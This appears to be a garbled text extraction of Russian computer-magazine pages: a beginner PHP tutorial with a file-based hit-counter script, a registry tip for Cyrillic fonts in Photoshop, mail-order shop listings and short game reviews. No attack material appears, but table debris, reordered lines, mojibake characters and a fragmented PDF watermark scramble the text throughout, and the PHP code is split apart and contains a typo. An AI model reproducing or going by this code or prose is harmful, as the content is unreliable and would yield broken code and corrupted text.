|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
числом. |
|
|
|
|
, |
если умножить $b=»It is 5 o’clock» на $c=2, то получится |
|||||||||||||||||||||||||||||||||
Например |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
5*2=10. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
тип данных переменной: |
||||||||||||
Можно, но очень редко нужно, явным образом указать |
|
||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
Пусть была переменная |
|
$var=3.14 - действительно число |
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
òðåì |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
$var=(int) $var - целое число, равное |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
$var=(string) $var - |
уже строка «3» |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
, присвоено ли переменной $var какое |
||||||||||||||||||
Функция isset($var) позволяет |
проверить |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
TRUE, â |
||||||||||||||||||||||
|
|
, |
то функция возвращает логическое |
||||||||||||||||||||||||||||||||||||
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
|
|
|
|
|
Если присвоено |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
либо значение |
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
противном |
случае - FALSE |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
различные блоки |
||||||||||||||||
|
|
|
|
|
оператор IF, позволяющий выполнять |
||||||||||||||||||||||||||||||||||
В PHP есть условный |
|
|
|
|
значение |
||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
условий. |
IF вычисляет булевское |
|||||||||||||||||||||||||||||
кода в зависимости от некоторых |
|
|
|
|
|||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
90
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
PHP код счетчика |
|
|
|
|
|
|
|
||||||||||
|
<? //Òåã, |
обозначающий, что ниже идет PHP-код |
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
$counter=»count.txt»; |
//Переменная с именем файла |
|
|
|
|
|
|
|
|||||||||
|
$mode=graph; //переменная режима работы |
|
|
|
|
|
|
|
|
|
||||||||
|
$file=fopen($counter, |
|
|
|
|
счетчика. Второе возможное значение - text |
|
|
||||||||||
|
«r»); //Открываем файл с |
параметром r - только чтение |
|
|
|
|||||||||||||
|
if(!$file) // |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
функция fopen возвращает булевское значение, в |
зависимости от того, удалось открыть указанный файл или нет |
||||||||||||||
|
|
{ |
|
|
|
|
|
|
|
|
|
|||||||
|
echo «[Произошла |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
} else |
ошибка]»; //Выводим сообщение об ошибке |
|
|
|
|
|
||||||||||
|
|
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
$num=fread($file, |
//Читаем первые 10 |
разрядов из открытого |
|
|
|
|
|
||||||||||
|
|
|
|
10); |
файла, этого более чем достаточно |
|
||||||||||||
|
fclose($file); //закрываем файл |
|
|
|
|
|
|
|
|
|||||||||
|
$num++; |
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//увеличиваем прочитанное значение на единицу |
|
|
|
|
|
|
|||||||||||
|
$no_ |
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
graph=$num; //Присваиваем полученное значение |
переменной для использования в текстовом |
режиме |
|
||||||||||||||
|
$file=fopen($counter, «w»); |
//открываем файл на запись |
|
|||||||||||||||
fputs($file, |
|
|
|
|
|
|
|
|
|
|
||||||||
$num); //пишем в файл новое значение |
|
|
|
|
|
|
|
|
||||||||||
if($mode==»graph») //проверяем |
параметр |
режима, если он графический... |
|
|
|
|||||||||||||
|
|
|
|
{ |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
for($i=0; $i<=9; $i++) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$num=ereg_ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
replace(«$i», «<img |
scr=$i.gif alt=’$i’>», $num); //Заменяем каждую |
десятичную цифру соответствующим тегом <IMG>, |
|||||||||||||
замененной цифре изображение |
|
|
|
|
|
|
|
|
||||||||||
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
echo «$num»; //Выводим все теги |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
} else { //А если не графический... |
|
|
|
|
|
|
|
|||||||
echo «Âû $no_graph |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
} |
|
|
посетитель этой страницы»; //просто выводим |
текстовое значение количества посетителей |
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
// после |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
закачивания скрипта на сервер обязательно надо поменять права |
доступа к нему, чтобы он |
запустился. Например, |
|
||||||||||||||
полные права, а |
группе |
и прочим |
пользователям только |
|
|
|
chmod |
|||||||||||
// |
Также следует |
|
|
|
|
на выполнение и чтение. |
|
|||||||||||
|
создать файл count.txt и, записав в |
него нолик, закачать в один каталог со скриптом |
|
|
||||||||||||||
?> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
вставляющим соответствующее
755, что даст владельцу файла
|
|
находящийся в следующим сразу за |
|
|
|
|
|
верно, |
òî |
выполняется код, |
|||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
оператором блоке {}. Если же утверждение |
||||||||||||||
|
|
ошибочно, то выполняется блок else {}. Например: |
|
|
|
|
|
|
|
||||||||||||||||||||
|
<? |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
If(isset($x)) |
{ echo |
«переменная |
|
x определена»; |
|
} |
else |
{ echo |
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
«переменная x не определена»; } |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
?> |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
PHP есть два типа циклов: while и for. |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
Синтаксис цикла while чрезвычайно прост: |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
While(условие) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
_áëîê êîäà_ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Цикл вычисляет значение булевского |
|
|
|
|
указывающегося в качестве па- |
||||||||||||||||||||||||
раметра к |
функции |
цикла. |
|
|
|
|
выражения, |
||||||||||||||||||||||
Если выражение false, |
òî êîä |
внутри блока {} игнори- |
|||||||||||||||||||||||||||
руется, если |
true, то код выполняется. По |
достижении } |
|||||||||||||||||||||||||||
вычисляется |
проверяемое выражение |
||||||||||||||||||||||||||||
заново, и все |
повторяется до |
òåõ ïîð, ïîêà |
|||||||||||||||||||||||||||
Синтаксис |
|
îíî |
не станет неверным. |
||||||||||||||||||||||||||
цикла for |
несколько сложнее. |
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
Оператор for принимает в |
качестве па- |
|||||||||||||||||||
раметров три выражения, |
разделяемых точкой с запятой. |
Первое |
|||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
присваивает |
||||||||||||||||||
начальное значение для счетчика |
цикла, |
второе |
выражение |
|
|
|
|
||||||||||||||||||||||
è |
|
|
|
|
|
|
|
|
|
|
|
|
|
является булевским |
|||||||||||||||
|
|
вычисляется в начале каждого прохода |
ïî |
циклу. Третий оператор выполняет- |
|||||||||||||||||||||||||
ся в самом |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
конце каждой итерации цикла и, как правило, что-то |
делает с пере- |
||||||||||||||||||||||
менной счетчика цикла, |
переопределяя некоторым образом |
|
|
|
|||||||||||||||||||||||||
For ($i=0; |
$i<=5; |
|
ее значение. |
|
|||||||||||||||||||||||||
$i++) |
|
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Echo «$i»; } |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
Выведет на |
экран числа с нуля по пятерку. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
Íà |
этом, как мне представляется, краткий |
экскурс по функциям PHP надо |
закон- |
||||||||||||||||||||||||||
чить и перейти к прикладной задаче. |
|
||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
Пишем счетчик посещений |
|||||||||||||||||||||||||||||
Я долго думал, что бы такое |
написать в первом материале, чтобы охватить ши- |
||||||||||||||||||||||||||||
рокий |
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
|
|
|
спектр нюансов программирования |
в очень |
простом и |
очевидном случае. |
|||||||||||||||||||||||
Закрыв глаза на |
банальность идеи, решил |
|
|
|
|||||||||||||||||||||||||
посещений. |
|
|
написать графико- |
текстовый счетчик |
|||||||||||||||||||||||||
Другими |
словами, в |
зависимости от некоторого |
|
||||||||||||||||||||||||||
сможет |
|
|
|
|
|
|
|
|
|
параметра счетчик |
|||||||||||||||||||
|
|
|
|
работать либо в текстовом, |
либо в графическом режиме. |
Хранить инфор- |
|||||||||||||||||||||||
мацию о |
количестве посещений мы будем в обычном |
|
|
|
|
||||||||||||||||||||||||
поехали. |
текстовом файле. Ну что ж, |
||||||||||||||||||||||||||||
Здесь и в будущих |
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
комментирован, а ключевые |
|
материалах опубликованный код будет густо про- |
|||||||||||||||||||||||||||
|
моменты |
программы будут обсуждаться более по- |
|||||||||||||||||||||||||||
дробно. |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
Äëÿ |
открытия файлов используется функция |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
fopen(filename, mode), ãäå filename |
- имя файла, а |
|
|
|
|
|
|
Режимы: |
|
|
|
|
|
|
||||||
|
|
|
|
|
Mode - режим работы с ним. |
|
|
|
|
|
|
||||||||
r - только чтение. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
r+ - чтение и |
запись, данные |
записываются |
в начало файла поверх |
потенциаль- |
|||||||||||||||
|
|
|
|
|
|||||||||||||||
но находящихся там данных. |
|
|
|
|
|
|
|
|
|
||||||||||
w - |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
только запись. Существующее содержимое файла |
уничтожается. Если файл |
|||||||||||||||||
не существует, то он |
создается. |
|
|
|
|||||||||||||||
w+ - |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
a |
|
аналогично w, но также возможно чтение файла. |
|
|
|
|
|
|
|||||||||||
- только |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
запись, данные дописываются в конец файла, |
|
если файл не сущест- |
|||||||||||||||
вует, то он создается. |
|
|
|
|
|
|
|
|
|||||||||||
a+ - |
аналогично a, но также возможно чтение файла. |
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||
Общий принцип работы |
|
|
|
|
|
|
|
|
|
|
|
||||||||
торая цифра, |
значение |
счетчика: открывается файл count.txt, оттуда |
читается неко- |
||||||||||||||||
которой |
увеличивается на единичку, |
|
|
||||||||||||||||
ñÿ |
обратно в |
ôàéë. |
|
|
|
|
после чего записывает- |
||||||||||||
|
В зависимости от параметра $mode |
сценарий либо просто вы- |
|||||||||||||||||
водит на экран |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
записанное в файл значение, либо производит замену всех |
десятич- |
||||||||||||||
ных чисел на html-теги, которые вставляют |
|
|
|
|
|
|
|
|
|||||||||||
бражения. |
|
|
|
|
|
|
|
|
определенные для каждой из цифр изо- |
||||||||||
В данном случае |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
мощи функции |
используется цикл for от нуля до девятки, |
заменяющий при по- |
|||||||||||||||||
ereg_ |
replace(‘что_заменяем’, |
|
|
|
|
||||||||||||||
каждую десятичную |
|
‘чем_заменяем’, где_ |
заменяем) |
||||||||||||||||
цифру в |
строке тегом, вставляющим |
|
|
|
|||||||||||||||
щее цифре изображение. |
|
соответствую- |
|||||||||||||||||
Òî åñòü, åñëè áûëà |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
строка «103», то при первой итерации цикла ноль бу- |
|
|
||||||||||||
дет заменен на тег <img |
|
|
|
|
|
|
|
|
|
|
|
||||||||
<img src=1.gif>, третья |
src=0.gif>, при второй единица заменится на |
|
|
||||||||||||||||
итерация замен не |
произведет (потому как в ис- |
|
|
||||||||||||||||
ходной строке |
|
|
|
|
|
|
|
||||||||||||
нет двойки), а |
|
|
|
|
|
|
|
|
|
|
|
||||||||
íà <img src=3.gif>. |
|
|
четвертый проход по циклу заменит тройку |
|
|
||||||||||||||
Âîò, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
пожалуй, и все. Поменьше тебе Parse Error’ов :). |
Если что - пиши, обяза- |
|||||||||||||||||
тельно отвечу. |
|
|
|
|
|
|
|
|
|
|
Tips&Tricks
Многие не знают, как русифицировать шрифты Photoshop'а. Сейчас я покажу, как это можно сделать. Открывай Regedit или любой другой редактор реестра. Иди по адресу HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Control\Nls\Co depage. У строкового параметра 1252 измени значение на CP_1251.nls. Перезагружай комп. Теперь включай Фотошоп и... вуаля, все шрифты "понимают" русскую кодировку!
P.S. кстати, этот трюк проходит не только с Photoshop'ом, но и с другими программами, которые отказываются работать с русской кодировкой текста.
Лихалетов "BaNNeR" Дмитрий (banner@mail.ru; ICQ: #166443003)
Хочешь увидеть свои советы в журнале? Присылай их на адрес Sklyarov@real.xakep.ru. Ведущий рубрики Tips&Tricks Иван Скляров.
91
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
È Í Ò Å Ð Í Å Ò
(095) 928 - 6089, (095) 928 - 0360, (095) 928 - 3574
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
$ 72,95 |
$ 59,99 |
|
$ 69,95 |
Earth |
$ 59,99 |
|
||
|
and |
|
|
Beyond |
|
|
The Thing |
|
|
The Sims |
|
|
|
|
|
|
Online |
|
|
||
$ 72,99 |
|
|
|
|
|
|
|
|
|
|
|
|
Sid Meier's |
||
|
$ 59,99 |
|
|
|
|
||
|
|
|
|
|
Civilization III: |
||
Hitman 2: |
|
|
|
|
|
||
|
|
|
$ 89,99 |
|
Play the |
|
|
Silent Assassin |
|
|
|
|
|
||
|
|
|
|
|
World |
|
|
Age |
|
|
|
|
|
|
|
|
|
MechWarrior 4: |
$ 89,99 |
|
|
||
of Mythology |
|
|
|
|
|||
|
|
Mercenaries |
|
|
|
||
|
EverQuest: |
|
|
|
|
||
|
|
|
|
|
|
|
|
$ 49,99 |
The Planes of Power |
|
|
|
|
|
|
|
Collector's |
|
|
|
$ 64,99 |
$ 55,99 |
|
|
Edition |
|
|
|
|
||
|
|
|
|
|
|
|
|
$ 21,99 |
ñ Firiona |
|
|
|
|
|
|
|
Vie Figurine |
|
|
|
|
Dark Age of |
|
|
|
|
|
|
|
||
Quake III: |
$ 79,99 |
|
|
|
Camelot: |
|
|
|
|
|
Shrouded Isles |
||||
|
|
|
|
|
|||
Gold Edition |
|
|
|
|
|
|
|
|
$ 79,99 |
Neverwinter |
Airport 2002 |
|
|
||
|
Nights |
|
! |
||||
|
|
|
Add-on ê |
||||
|
|
|
|
||||
|
|
|
|
|
|
||
|
|
|
|
Simulator 2002 |
|
|
|
Need for Speed: |
|
|
$ 89,99 |
СЕГОДНЯ |
|
||
|
|
|
|
|
|||
Hot Pursuit 2 |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Unreal |
|
|
|
|
(Blizzard) |
$ 39,99 |
|
|
|
|
|
Warcraft |
|
|
|
Tournament |
|
|
|
Baseball |
Asheron's
Call 2
$ 13,99 |
(GL) Футболки |
$ 33,95 |
|
"Procedure Drinks" |
|
|
с логотипом "Хакер", |
|
|
темно-синяя, черная |
|
Anarchy Online:
Special Edition
$ 29,99
|
|
|
(WestWood) |
|
ЗАКАЖИТЕ |
|
|
Command & |
|
|
|
Conquer: |
$ 99,99 |
|
|
55,99 |
|
Tiberian Sun |
|
|
|
|
Military |
Final Fantasy X: |
|
|
|
Insignias |
Tidus Silver Watch |
The Elder Scrolls III: |
Metal Gear |
$ 75,99 |
|
|
Morrowind: Tribunal |
2: Snake |
|
||
|
|
|||
|
|
Zippo(R) |
|
|
|
|
Lighter |
|
|
|
|
Case Set |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Ì À Ã À Ç È Í
(095) 928 - 6089, (095) 928 - 0360, (095) 928 - 3574
$ 500,95
Psion 5mx
$ 699,99
$ 729,99 |
Toshiba e740 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
$ 1020
|
|
Compaq |
|
|
|
$ 229,95 |
iPaq H3970 |
|
$ 625,99 |
|
|
|
|
|
Sony |
|
mobile |
|
|
CyberShot |
|
|
|
|
OSC-F707 |
|
|
|
|
|
|
|
|
|
5.2 Mpixel |
|
|
|
|
|
|
|
|
Fujitsu-Siemens Pocket |
|
|
|
|
LOOX 600 |
|
Jstck/ CH Flight |
|
|
|
$ 110 |
Sim Yoke USB |
|
|
$ 720 |
|
|
|
|
|
|
$ 225 |
|
|
|
|
|
computers |
Sony CyberShot Digital |
|
|
|
Camera DSC-S85 |
||
|
|
|
||
Headphones/ |
|
|
$ 450 |
VINTEN PRO 5DP |
Sennheiser HD 265 |
|
|
||
|
|
|
штатив |
|
Vocal Headphones |
|
|
|
|
Spkrs/VideoLogic |
|
|
|
|
|
|
|
|
|
|
DigiTheatre LC - Silver |
|
|
|
|
$ 59 |
|
|
|
|
Video/ |
|
$ 95,95 |
SanDisk |
|
Pinnacle |
|
||
|
|
|
||
Systems Studio |
|
|
128 MB |
|
|
PCTV |
|
|
CompactFlash |
|
|
|
|
Card |
|
|
|
|
|
Gifts |
|
|
$ 33,99 |
|
|
|
ИНТЕРНЕТ-МАГАЗИН |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАКАЗЫ ПО ИНТЕРНЕТУ — КРУГЛОСУТОЧНО! |
(WestWood) |
|
|
|
E-MAIL: sales@e-shop.ru |
||
(Bungie) Halo: |
|
|||||
|
ЗАКАЗЫ ПО ТЕЕЛЕОНУ МОЖНО СДЕЛАТЬ С 10.00 ДО 21.00 БЕЗ ВЫХОДНЫХ |
|||||
Command & Conquer: |
The Fall of Reach |
|
ТЕЛЕФОНЫ: 928-6089, 928-0360, 928-3574 |
|||
Tiberian Sun: |
|
|||||
|
|
|
МЫ ПРИНИМАЕМ ЗАКАЗЫ НА ЛЮБЫЕ АМЕРИКАНСКИЕ ИГРЫ! |
|||
Collector's Edition - |
|
|
|
|||
|
|
|
|
|||
Pewter Figure (GDI) |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
w |
|
|
to |
|
|
|
|
o |
Юниты |
||
P |
|
|
|
|
|
NOW! |
|
|
|
||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
o |
m |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
ÇÀË ÑÓÄÀ
Урожденная Жанр Похожесть Мать/отец
Требует Групповуха Описуха
Sniper: Path of Vengeance |
||||
FPS |
|
|
|
|
Mortyr |
Interactive |
|||
Mirage Media/Xicat |
||||
|
|
3D |
||
P2-300(P3-500), 64(128), |
||||
|
||||
Обломись |
|
ера якобы |
||
|
|
|||
Якобы симулятор |
снайп |
å- |
||
. Íà äåëå – íåñâ |
||||
â äóõå Hitman |
|
|
- |
|
енький |
шутер «с пре |
|||
жий страшн |
|
|
ет: очень |
|
ей». Графика |
ужаса |
|||
тензи |
|
|
|
сложно поверить в то, |
÷òî íà |
- |
|
|||
|
|
|
||||
|
е сделан роскош |
|
||||
этом же движк |
|
|
-àñ- |
|
||
|
|
|
ерско |
|
|
|
. Все снайп |
|
|
- |
|||
íûé NOLF2 |
|
|
|
|
|
|
е заигрывания с публи |
||||||
сассински |
|
лишь ширмой, |
|
|
||
кой оказались |
|
- |
||||
|
ей голый, не детали |
|||||
прикрывающ |
|
|
|
- |
|
|
зированный |
зад обычной |
áåçû |
|
|||
|
|
|
||||
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
дейной стрелялки |
|
|
|
|
ПРИГОВОР |
СЛАБО |
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
Hitman 2: Silent Assassin |
|
stealth shooter |
|
Hitman, Thief 1-2 |
|
IO Interactive/Eidos Interactive |
|
-1000), 128(256), 3D |
|
P2-450(P3 |
|
Обломись |
|
Симулятор наемного убийцы со |
|
стелсовым геймплеем (скрытые |
|
перемещения, хлороформ и |
|
. Отличий |
îò îðè- |
прочая шняга) |
|
гинала гораздо телось бы. Графика почти не похорошела, сюжет невразумительный, у AI остались все те же недоработки. Самый большой баг в геймплее – возможность забить на весь «stealth» и зачистить уровень «в лучших традици-
ях» обычных FPS. Упрощает прохождение в разы.
ПРИГОВОР |
СРЕДНЕ |
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
The Sims: Unleashed Мыльная опера
«За стеклом» Maxis/Electronic Arts
P2-300(P3-600), 64(128) Обломись
Пятый по счету адд-он к Самой Продаваемой Игре всех времен и народов. На этот раз дополнялка посвящена домашним животным
ПРИГОВОР |
СРЕДНЕ |
|
и шоппингу. Симы гуляют по тор-
говому центру города, покупают всякое барахло, в том числе и прилично анимированных коше-
чек-собачек-мать-их-попугайчи- ков. Затем живность весело гадит по всему дому. Поддается дрессировке (относительно). Для
всех, кто ждет –дцатую часть любимого сериала.
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
Need For Speed: Hot Pursuit 2 |
|
аркадные гонки |
|
NFS3: Hot Pursuit |
Arts |
EA Bellevue/Electronic |
|
-800), 128(256), 3D |
|
P3-500(P3 |
|
LAN, Èíåò |
|
Разработчики вернулись к попу- |
|
лярной идее игры в «салки» с по- |
|
е получилась |
|
лицией. В результат |
|
не эволюция Porsche Unleashed, а |
ПРИГОВОР |
ХОРОШО |
|
римейк NFS3, |
т.е. во многом пе- |
|||
|
|
|
. |
|
ред нами не прогресс, а регресс |
||||
|
ена на корню, |
|
||
Физика зарубл |
è óíû- |
|
||
ландшафты однообразны |
- |
|||
|
||||
|
|
|
||
|
